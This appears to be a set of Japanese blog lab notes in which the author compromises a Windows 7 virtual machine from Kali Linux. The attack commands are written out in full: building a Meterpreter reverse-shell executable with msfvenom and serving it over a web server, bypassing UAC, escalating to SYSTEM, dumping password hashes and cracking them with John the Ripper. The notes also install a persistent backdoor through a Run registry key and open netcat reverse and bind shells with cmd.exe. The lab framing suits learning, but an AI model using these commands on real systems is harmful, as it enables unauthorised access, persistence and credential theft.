Windows7 バックドア設置

Windows7 バックドア設置

evil.exe を実行したときのみセッションが確率されるが
通常は何度も実行することはないので
バックドアを設置する

これはWindows7 起動時に自動でペイロードを実行するように
設定をする

まず、
KaliLinux でリバースシェルを待ち受けにして
Windows 7 で evil.exe を実行

KaliLinux を起動し

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でペイロードが実行され、待受状態になるので

windows7 で evil.exe を実行

次に

background 

というように
background コマンドを使い
Meterpreter セッションをバックグラウンドにして
msf プロンプトにする

次にUAC機能をバイパスするモジュールを使う
これは確率済みセッションを通して Exploit を送る

use exploit/windows/local/bypassuac

で使用するペイロードをセット

 show options 

でオプションで使用するセッションIDが必要なのがわかる

次に

set SESSION 1

でセッションをセット

そして再度 reverse_tcp を設定

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でUAC機能をバイパスした状態で実行できる

次に権限昇格

getsystem -t 1

これでユーザ権限を確認するとSYSTEM権限になっているのがわかる

getuid 

セッションが閉じるたびに Windows 側で evil.exe を実行しないと
この手順の繰り返しになるので
Windows 7 起動時に自動でペイロードを実行するようにする

これは
run persistence コマンドを使う

オプションについては

run persistence -h

で確認できる

今回は

run persistence -X -i 60 -P windows/meterpreter/reverse_tcp -p 4444 -r 192.168.1.134

で実行

-X でシステム起動時に自動開始
-i は接続を開始するタイミングを秒で指定
-P でペイロードの指定
-p でポート指定
-r でペイロードを実行する対象のIPアドレス
となる

つまり
今回なら
60秒間隔で
ペイロードを
4444 番ポートで
192.168.1.134 のマシンへ実行
となる

なお、Windows 7 への変更点については
Sysinternals で確認できる

Sysinternal Suites フォルダの中にある
Autoruns.exe
で起動

File > Compare で
最初に作成したarm ファイルを選択

すると
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
のところにキーが追加されているのがわかる

ここに追加された値は
c:\users\ieuser\appdata\local\temp\nhvpfroywzr.vbs
に設定されている

この状態でWindows 7 を再起動しておき

KaliLinux でリバースシェル環境を再び設定する

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.134
exploit

を実行

すると、今回からは Windows7 で evil.exe を実行せずとも
セッションが確率されるのがわかる

Windows7 システム情報の収集

Windows7 システム情報の収集

まず、
KaliLinux でリバースシェルを待ち受けにして
Windows 7 で evil.exe を実行

KaliLinux を起動し

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でペイロードが実行され、待受状態になるので

windows7 で evil.exe を実行

次に

background 

というように
background コマンドを使い
Meterpreter セッションをバックグラウンドにして
msf プロンプトにする

次にUAC機能をバイパスするモジュールを使う
これは確率済みセッションを通して Exploit を送る

use exploit/windows/local/bypassuac

で使用するペイロードをセット

 show options 

でオプションで使用するセッションIDが必要なのがわかる

次に

set SESSION 1

でセッションをセット

そして再度 reverse_tcp を設定

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でUAC機能をバイパスした状態で実行できる

次に権限昇格

getsystem -t 1

これでユーザ権限を確認するとSYSTEM権限になっているのがわかる

getuid 

必要なセッションは2のほうなので
不要なセッション1はとじる

background 

というように
background コマンドを使い

sessions -i

とすると
2つめのセッションのほうが管理者権限であることが確認できる

セッションを閉じるには
sessions コマンドの -kオプションを使う

sessions -k 1

これで

sessions -i

とすると
セッション2だけ残っているのがわかる

不要なセッションは削除したので

sessions 2

で再びセッションに戻し

run scraper 

でシステム情報を収集する

これには
レジストリ
パスワードハッシュなどが含まれるため時間がかかる

なお、実行結果は

.msf4/logs/scripts/scraper/

の下へダウンロードされ保存される

保存されるフォルダ名は
IPアドレス_日付_数値列
となる

パスワードハッシュの解析

パスワードハッシュの解析

KaliLinux にインストールされている
John the Ripper を使い辞書攻撃でパスワードを解析

今回は
John the Ripper 付属のパスワードファイルを使う

john --wordlist=/usr/share/john/password.lst --format:nt
 hash.txt 

しかし、これだけの情報だとパスワード解析に成功したアカウントはない

なお、解析結果については

john hash.txt --show

というように –show オプションをつけることで表示できる

次に John the Ripper の辞書ファイルへ追加してから解析をする

cp /usr/share/john/password.lst password.lst

で辞書ファイルをコピー

echo "Passw0rd!" >> password.lst 

で Passw0rd! を末尾に追記

john --wordlist=password.lst --format:nt hash.txt 

として使用するファイルを
password.lst に変更し再度実行すると

Passw0rd!        (Administrator)

の部分から
Administrator ユーザパスワードがPassw0rd!
であることがわかる

また
Kali LinuxでJohn The Ripper,hydraによるパスワード解析

では
hydra による解析も掲載されているので
こちらも参考に

Windows7 パスワードハッシュ入手

Windows7 パスワードハッシュ入手

KaliLinux を起動し

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でペイロードが実行され、待受状態になるので

windows7 で evil.exe を実行

これで Meterpreter セッションが確率される

この状態からパスワードハッシュを入手しようとしても
ユーザ権限が低いためエラーとなる

このため

background 

というように
background コマンドを使い
Meterpreter セッションをバックグラウンドにして
msf プロンプトにする

接続中のMeterpreter セッションの確認には

sessions -i

で確認できる

このときに Id をみておくことで

sessions -i セッションID

とすれば
Meterpreter セッションに戻すことができる

今回なら

sessions -i 1

とすれば
Meterpreter セッションに戻すことができる

次にUAC機能をバイパスするモジュールを使う
これは確率済みセッションを通して Exploit を送る

use exploit/windows/local/bypassuac

で使用するペイロードをセット

 show options 

でオプションで使用するセッションIDが必要なのがわかる

次に

set SESSION 1

でセッションをセット

そして再度 reverse_tcp を設定

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でUAC機能をバイパスした状態で実行できる

これで

getuid 

で現状のユーザIDを確認

次に権限昇格

getsystem -t 1

これでユーザ権限を確認するとSYSTEM権限になっているのがわかる

getuid 

あとはパスワードハッシュをダンプ

run hashdump 

実行結果をテキストファイルへ保存

今回は hash.txt というファイルへ保存

Metasploit Flamework その2

Metasploit Flamework その2

前回ペイロード作成までしたので続き

Windows7でIEを起動

http://KaLiLinux のIPアドレス/share にアクセス

今回なら
http://192.168.1.134/share/
へアクセス

すると evil.exe が表示されている

これが確認できたら
KaliLinux でリバースシェルの準備

msfconsole 


Metaploit を起動

msf コンソールが起動したら

use exploit/multi/handler 

でハンドラーモジュールを使用

set payload windows/meterpreter/reverse_tcp

でペイロードをセット

set LHOST 192.168.1.134

で KaliLInux のIPアドレスを設定

show options 

で設定を確認

これで

exploit

でペイロードが実行され、待受状態になる

これで KaliLinux の準備ができたので
次に Windows でファイルをダウンロードし
Run を実行

すると Windows 側では何もおきていないように見えるけど
KaliLinux 側では
meterpreter セッションが確率されたことが
Terminal で表示される

なお Windows 側でも

netstat -n | find "ESTABLISHED"

を Command Prompt で実行することで確認できる

これでwindows の遠隔操作が可能になる
操作に使っているのは
Meterpreter なので
Windows7 の Command Prompt ではないので注意

Metasploit Flamework

Metasploit Flamework

KaliLinux には 
Metasploit がインストールされているので

msfconsole 

を実行すると
msf コンソールが起動して利用することができる

msf5 > 

となっていれば起動成功

この状態で

banner 

と入力するとランダムでアスキーアートが表示される

show -h

でヘルプの表示

show exploits 

で Metasploit で使用できる Exploit が表示される

Metasploit に含まれるモジュールを実行するにはパスが必要

これには seach コマンドでパスの検索ができる

Windows 向け
TPC リバースシェル
ペイロード
という条件で探すなら

search type:payload reverse_tcp platform:windows

というようになる

次にペイロードの作成

これは
msfvenom コマンドを使う

このコマンドのオプションについては
https://ko-tech.net/hack/metasploit.html
を参考に

今回使用したオプションは
p ペイロードのパス
f 出力ファイル形式
o 出力ファイルパス
LHOST 接続先のIPアドレス

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.134 -f exe -o /root/Desktop/evil.exe

を実行すると
デスクトップに eveil.exe が作成される

つぎに
Windows からブラウザでこのペイロードにアクセスできるようにする

別の Terminal を ctrl + alt + t で開き

cd /var/www/html/
mkdir share
cp /root/Desktop/evil.exe share/
chmod -R 755 share/


share ディレクトリを作成し、ここへ evil.exe をコピーし
アクセス権限を変更

service apache2 restart 

でwebサーバーを再起動

Netcat 接続実験 その2

Netcat 接続実験 その2

Wndows7 と KaliLinux でリバースシェルの実験

KaliLinux で
ctrl + Alt +t で端末を起動

nc -lvp 5555


Netcat を待受状態で起動

また、別の端末を起動し

ifconfig

でIPアドレスを調べておく
inet と書かれている部分がIPアドレス

次に Windows7 で Command Prompt を起動し

cd C:Work
nc.exe 192.168.1.134 5555 -e cmd.exe

で nc で KaliLinux へ接続

すると KaliLinux 側の端末に Windows 7 のCommand Prompt が
表示される

これで

ipconfig

を実行すると Windows 7 のIPアドレスが表示される

なお、Windows7 側のCommand Prompt なので
他のコマンドなども使うことができる

接続終了するには
KaliLinux 側で exit を実行すればOK

Netcat 接続実験

Netcat 接続実験

Windows 7 試用版で
Command Prompt を開き

cd C:Work
nc.exe -lvp 5555

で netcat を起動

これに kaliLinux で接続できるか実験

本来はホストオンリーアダプタなどで実験するけど
設定がうまくできなかったので
ブリッジ接続で実験

IPは変動するので
Windows 側は

ipconfig 

でIPアドレスを把握

IPv4 Address の部分がIPアドレスになる
今回は
192.168.1.174

次に VirtualBox で KaliLinux を起動

ctrl + Alt + t で端末を起動し

nc 192.168.1.174 5555

で接続

すると
Windows 7 側で

netstat -an

を実行すると
5555ポートが ESTABLISHED になっていればOK

この状態で KaliLinux で hello と入力すると
Windows 側でも hello と表示される

また Windows 側で入力した
windows というメッセージも KaliLinux 側で表示される

なお Netcat を終了するには
ctrl + c でどちらかが接続を停止すると終了する

これを利用すれば
KaliLinux 側から
Windows の Command Prompt を操作することが可能

この実験をするために
Windows で Netcat をサーバとして起動させる
これには
-e オプションを使う

-e オプションで実行するプログラムを指定する

nc.exe -lvp 5555 -e cmd.exe

今回は Windows のシェルの cmd.exe を実行

これで KaliLinux で

nc 192.168.1.174 5555

で接続すると
Windows の Command Prompt が操作できるようになる

試しに Windows のファイル一覧を表示する dir コマンドを実行

すると現在のディレクトリの
Windowsのファイル一覧を表示することができる

なお終了するときには
KaliLinux 側で

exit 

を実行すればOK

なお、windows 側では
前回と異なり操作している状態が表示されない

この手法がバインドシェル
ただし、これだとファイアーウォールやルーターの影響を受ける

理由は外部から内部へのアクセスを制限しているため

Windows セキュリティの実験環境構築 その2

Windows セキュリティの実験環境構築 その2

仮想マシンでセキュリティの実験をするための構築

今回は Netcat
Windows7 試用版で使うために
Netcat for Windows をダウンロード

https://joncraton.org/blog/46/netcat-for-windows/
よりダウンロード可能

Download nc111nt.zip (password:nc) – Netcat for Windows
をクリックしてダウンロード

ダウンロードしたファイルを右クリック >
Extract All …

展開先を聞かれるので
今回は新規に作業ディレクトリを作ってから行うので
Make New Folder をクリック

これで Work というディレクトリを作成しOKをクリック

Extract をクリックするとここへ展開される

展開するときにパスワードを聞かれるので
nc を入力しOKをクリック

これで展開できるので
次に Command Prompt を起動し

cd C:Work

で展開先に cd コマンドで移動

nc.exe -h

を実行するとヘルプが表示される

次にポート5555で待ち受けるサーバーにする

nc.exe -lvp 5555

を実行

オプションに関しては
使いたいときに必ず忘れる便利なコマンド「nc」
https://ltside.com/kizyo/nc.html
を参考に

今回使用したオプションは
l 待受モード
v 情報を表示
p ポートを指定

というもの

実行すると
Windows Firewall が起動するので

Ptivate networks,such as my home or work network

Publick network such as those in airports and coffee shops( not recommended because these networks othen have little or no security)
にチェックを入れ
Allow access
をクリック

状態確認をしたいので
もうひとつ Command Prompt を開き

netstat -an

を実行

これで
5555ポートがLISTEN になっていればOK

なお、
Proto がプロトコル
Local Address がIPアドレス:ポート番号
Foreign Address が接続先のアドレス
State が状態

State が LISTEN なら待受状態になっている

Windows セキュリティの実験環境構築

Windows セキュリティの実験環境構築

Windows7 試用版に
Ssinternals Suite をインストール

これは
Windows トラブルシューティング ツール

https://docs.microsoft.com/ja-jp/previous-versions/bb842062%28v%3dmsdn.10%29
よりダウンロード可能らしいけど
ダウンロードしようとしても日本語版だとダウンロードできないので

英語版を
https://docs.microsoft.com/ja-jp/sysinternals/downloads/sysinternals-suite
からダウンロード

ダウンロードしたファイルを
VirtualBox の 仮想Windows マシンに
ドラッグドロップしたいので

VirtualBoxで
デバイス > ドラッグ&ドロップ >
双方向
として
あとはドラッグドロップすればOK

ファイル名は
SusinternalsSuite.zip

今回はデスクトップに配置
これを解凍するので
右クリック >  Extract all
で展開

これで Extract をクリックすればOK

これでデスクトップに
Sysinternal Suites が展開される

次に起動
Autoruns.exe
で起動

ライセンスに同意を求められるので
Agree をクリック

これで起動するときに
システムの各項目の取得をするので
起動には少し時間がかかる

なお Everythying タブには
自動起動関連の項目が表示されている

今後、どのように変化するか
ベースとなるファイルが必要なので
File > Save

ファイル名を
任意の名前で保存

_日付.arm
というように
日付などをいれるとログのようにわかりやすくなる

このファイルとの差分を調べることで
原因をさぐるのに役立つ